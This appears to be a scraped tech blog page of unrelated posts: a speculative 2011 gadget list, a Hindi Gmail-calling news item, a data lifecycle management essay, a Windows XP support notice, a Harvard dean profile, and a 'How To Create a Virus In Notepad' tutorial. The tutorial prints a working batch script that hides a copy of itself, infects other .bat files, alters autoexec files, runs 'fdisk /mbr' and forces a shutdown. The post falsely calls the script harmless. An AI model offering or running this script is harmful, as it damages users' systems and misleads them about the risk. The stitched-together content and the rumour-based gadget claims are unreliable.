Top 10 gadgets to watch in 2011

A decade ago hardly anybody had any clue about the technological advancements we are obsessed with today. No one heard about Facebook, no one knew how to use a touch screen phone or even thought of a product like iPhone. But it took only a few years to change the whole scenario. As the decade went on we came across new technologies and gadgets we were clueless about. Even today, we don't have much idea about what technological surprises the next decade has in its store for us. Here is a sneak peek into the top 10 gadgets to watch in 2011.

Sony HDR-TD10
It is the company's first ever 3D camcorder. Although it's not the first 3D camcorder from a leading manufacturer, Sony HDR-TD10 is equipped with "Double Full HD" which means that the device has two lenses, two sensors and two image processors. Thus, the camcorder is able to capture two separate frames of Full HD video at a 1920 x 1080 resolution. Loaded with 64 GB of internal memory, Sony HDR-TD10 is expected to hit the stores in April 2011.

Apple iWatch
Are you looking for something that can provide the effectiveness and reliability of both the iPod touch and ipod nano at the same platform? Your search will end at the all new Apple iWatch, the upcoming Apple sensation which is likely to arrive in February 2011. For the masses of Apple geeks who want their iPods to get smaller and thinner, an iWatch will be a perfect choice.

BlackBerry PlayBook
Running a brand new Blackberry Tablet OS and powered by a 1GHz Cortex-A9 dual core processor and 1GB of RAM, BlackBerry PlayBook is all set to escort RIM in the tablet market in the first quarter of 2011. This 7-inch gadget supports Flash 10.1, HTML 5 and HDMI. It also has a 3MP front-facing camera and a 5MP rear-facing HD camera.

Xbox 720
For all those game-loving junkies, Microsoft is bringing something special. The company has announced that in the years 2011-2012, Xbox 720, the latest version of the Xbox series will arrive. The upcoming Xbox 720 will boast of cool features like internet connection, wireless USB, and a 4GB memory.

Apple iPhone 5
Continuing the iPhone saga, Apple is expected to launch its all new iPhone 5 in 2011, the newest member of the iPhone family. Speculations have been made that the iPhone 5 might employ NFC (Near Field Communication) short-range wireless technology to function as an electronic wallet of sorts. The new device is also likely to complete with debit/credit cards and identification/passkey applications.

PlayStation Phone
Code named "Zeus", the PlayStation Phone by Sony is likely to arrive in the first half of 2011. To be run on Andriod 3.0 Gingerbread operating system, Zeus will be loaded with 1GHz Qualcomm MSM8655 processor and will come with 8GB of memory. The device is expected to have 1GB ROM and 512 MB RAM.

Liquid Image Summit Series HD
With this all new snowboarding goggles snowboarders, snorkelers and bikers will be having great experience while recording their exploits in glorious high- definition video. Liquid Image's Summit Series HD 1080P snow goggles have a 136-degree wide-angle lens that can record action while skiing, boarding, sledding or snowmobiling. Images and videos are stored to a micro SD card slot and the goggles can also be connected to a computer via USB. The device is expected in October 2011.

ElectroHub
With an offer of compatibility for a huge amount of devices including the TV remote, toys and smartphones, ElectroHub is a new wireless charging station. What makes it unique is that it doesn't require the device to have a special case. It provides ElectroHub batteries, which come in both AA and AAA. The device is capable of charging six devices at one time and is expected in the first quarter of 2011.

अब जी-मेल से करो फोन कॉल

अब तक आप जी-मेल के जरिए सिर्फ अपने मेल भेज सकते थे या फिर दूसरों के मेल रिसीव कर सकते थे। लेकिन अब आप जी-मेल के जरिए फोन कॉल भी कर सकेंगे। गूगल के जरिए कंप्यूटर से कंप्यूटर पर व्वायस या फिर वीडियो कॉल तो आप पहले भी कर सकते थे। लेकिन पहली बार जी-मेल सर्विस देने वाली कंपनी गूगल ने जी-मेल के जरिए मोबाइल फोन या फिर लैंड लाइन फोन पर कॉल करने की सुविधा शुरू करने का ऐलान कर दिया है।

अपनी इस नई सर्विस के जरिए गूगल वेब कॉलिंग सर्विस देने वाली कंपनियों, स्पाइक और एटी एंड टी को टक्कर देने की तैयारी कर रही है। अमेरिका और कनाडा के लिए जी-मेल की ये फोन कॉल सर्विस इस साल मुफ्त में दी जाएगी। वहीं ब्रिटेन, फ्रांस, जर्मनी, चीन और जापान के लोगों को यह सर्विस 2 सेंट प्रति मिनट की बेहद सस्ती कॉल दर पर दी जाएगी।

What is Data Lifecycle Management?

The Data Lifecycle goes through 5 steps: creation, usage, transport, storage and destruction. Most companies have parts of this lifecycle under control, but that means there are lots of areas for gaps in the control measures that could let a threat affect the data. The multiple part blog, (I am not sure how many parts it will take), will walk through the steps of the data lifecycle and what a company can do to implement a good process for all the data management challenges.

Data lifecycle management (DLM) is a policy and procedure based approach to manage information movement. Data has to be classified and evaluated to properly protect it with the right resources. Ownership is a key factor in managing and maintaining data throughout the lifecycle

The 5 Steps

1. Creation – How does data creation get managed?
2. Usage – What limitations are on data usage?
3. Storage – What controls are in place for storage?
4. Transportation – How is data transmitted between company, customers and business partners?
5. Destruction – What is the validation and verification process over data destruction?

The Data Management Problem

• Weak processes in place to track creation usage, transportation, storage and destruction
• Weak ability to monitor and manage a customer record throughout the lifecycle
• Inconsistent processes across each phase of data movement
• Lack of enforcement capabilities

What should be the goal of data lifecycle management?

• Provide practical steps to manage each step of the customer record management process
• Provide cost effective solution for risk mitigation
• Provide framework for data management
• Reduce risk of data loss

Challenges to Customer Data Records Management

• Rarely does a company have a centralized process to track controls over data, over management processes around data, over logging and monitoring, and removal
• Organizations rely on technology to secure data not processes that drive technology purchases
• The 5 steps of data management are not followed by all functional groups in a company
• No clear ownership and classification of customer data elements

Did you know…

• 1 in 400 emails contains confidential information
• 1 in 50 network files contains confidential data
• 4 out of 5 companies have lost confidential data when a laptop was lost
• 1 in 2 USB drives contains confidential information
• Companies that incur a data breach experience a significant increase in customer turnover—as much as 11%
• Over 35 states have enacted security breach notification laws
• Can openers were invented 48 years after can

Why does traditional security not work for DLM?

Users have risky behavior. They will always have risk behavior and we rely on mostly technology controls to keep them in a secure box. Solutions aimed at the external threats coming in, not the regulation and governance of internal communications going out. Problems we see are typically:

• Unauthorized application use: 70% of IT say the use of unauthorized programs result in as many as half of data loss incidents.
• Misuse of corporate computers: 44% of employees share work devices with others without supervision.
• Unauthorized access: 39% of IT said they have dealt with an employee accessing unauthorized parts of a company’s network or facility.
• Remote worker security: 46% of employees transfer files between work and personal computers.
• Misuse of passwords: 18% of employees share passwords with co-workers.

The reasons typical technology controls will not work in the full DLM process are:

• Products are not geared to protect a full life cycle of a customer records
• Most solutions and processes are outward facing, based on perimeter security
• Encryption can affect data management
• Real-time intrusion detection and remediation is rare
• Context and intent of messages was not analyzed properly
• Functional areas in organizations create different policies, monitoring requirements, enforcement priorities and reporting
• New technologies can avoid security measures
• Technologies look at the network, the operating system or the application not the data across all environments
• Not mapped properly to regulations

What risks does customer data loss pose for organizations?

If we know that security is not working, what are the risks we face? A very recent example of how this can have a practical affect is with the Massachusetts Privacy Law 201 CMR 17.00. Loss of data can have a great financial impact with this law. Key things we need to consider include:

• Penalties: Not complying with regulations can cause civil and financial penalties
• Confidence: Loss of customer confidence because of a customer data breach can lose customers
• Reputation: Damage to reputation will lose customer and damage relationships
• Competitive Advantage: Information and customers can move to competitors
• Costs: Ponemon Institute’s 2008 annual study, average $6.6 million per breach.
• Valuation: Decreased stock prices could result

Microsoft will not support Win2000, XP from July 13

New Delhi: Support for Microsoft Windows 2000 and XP will be seen last on July 13 as the paid support, support assistance and security updates for these versions will be discontinued.

The support for online self help which includes Microsoft online Knowledge Base articles, FAQs and troubleshooting tools, will continue for another year, reports Times of India.

Windows 2000 users will have to switch to a more recent version of Windows and Windows XP SP2 or earlier version users can upgrade to Windows XP SP3, which can be done through Internet Explorer's Update utility. For the time being, Microsoft is offering support for its products for five years and extended support for another five years.

How To Create a Virus In Notepad ?

Understand the following: It's just a harmless "virus". It only prints some scary messages and finally shuts down the computer. As you start it again, your computer will work as it did before!
Read the virus: Below you see the Computer-Code that is executed as you start the virus. The lines that start with REM are comments that the computer ignores. The explain you what the above line does.

@echo off
title %0
rem conditional check.
echo welcome to this wonderful program! please wait while I delete all your files!
rem infection of the user
copy %0 c:\tmp.bat >null attrib +r +s +h c:\tmp.bat echo for %%i in (*.bat) do copy c:\tmp.bat+%%i %%i >>c:\windows\system32\autoexec.NT

echo echo virus detected! >>c:\windows\system32\autoexec.NT
echo pause >>c:\windows\system32\autoexec.NT
echo NT core:infected!

echo echo shame on you! >>c:\autoexec.bat
echo echo system hault-virus identified! >>c:\autoexec.bat
echo chkdsk >>c:\autoexec.bat

echo i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u l
fdisk /mbr
shutdown -s -t 03 -c "windows has shut down because the lsass service has incountered a write fault at 0x00000000000000000000000000000000000"

Tech-News

IITian becomes 1st Indian-American dean of Harvard

Boston: When Nitin Nohria, an alumnus of Indian Institute of Technology, joined Harvard as a faculty in 1988, none would have thought that a history is in the making. Today, after 22 years he stands to be the first Indian-American dean of the prestigious Harvard Business School.

His latest work include a combined effort with his colleague Rakesh Khurana to instrument an oath for businesses globally. Nohria and Khurana were also the protagonists behind the introduction of the MBA Oath in 2009 that emphasized on the ethical behavior of MBA grads.

Though one of the highest profile HBS professors, Prof Nohria was not necessarily the most obvious choice for the job. Many insiders predicted that senior associate dean Srikant Datar or Carl Kester, deputy dean for academic affairs, would be appointed. However, his experience within India and his stints at London Business School made him the right choice to bring in a global perspective to the dean's position.

The 48-year old leadership professor will serve as the 10th dean of Harvard Business School by succeeding the current dean Jay Light. The chemical engineer turned professor Nohria, accepted the role on Tueday and will resume his post from July 1st. "I feel a profound sense of responsibility for continuing Harvard Business School's proud legacy of ground-breaking ideas and transformational educational experiences," he says. Currently he is the Richard P. Chapman Professor of Business Administration at the century-old institution and co-chair of its Leadership Initiative.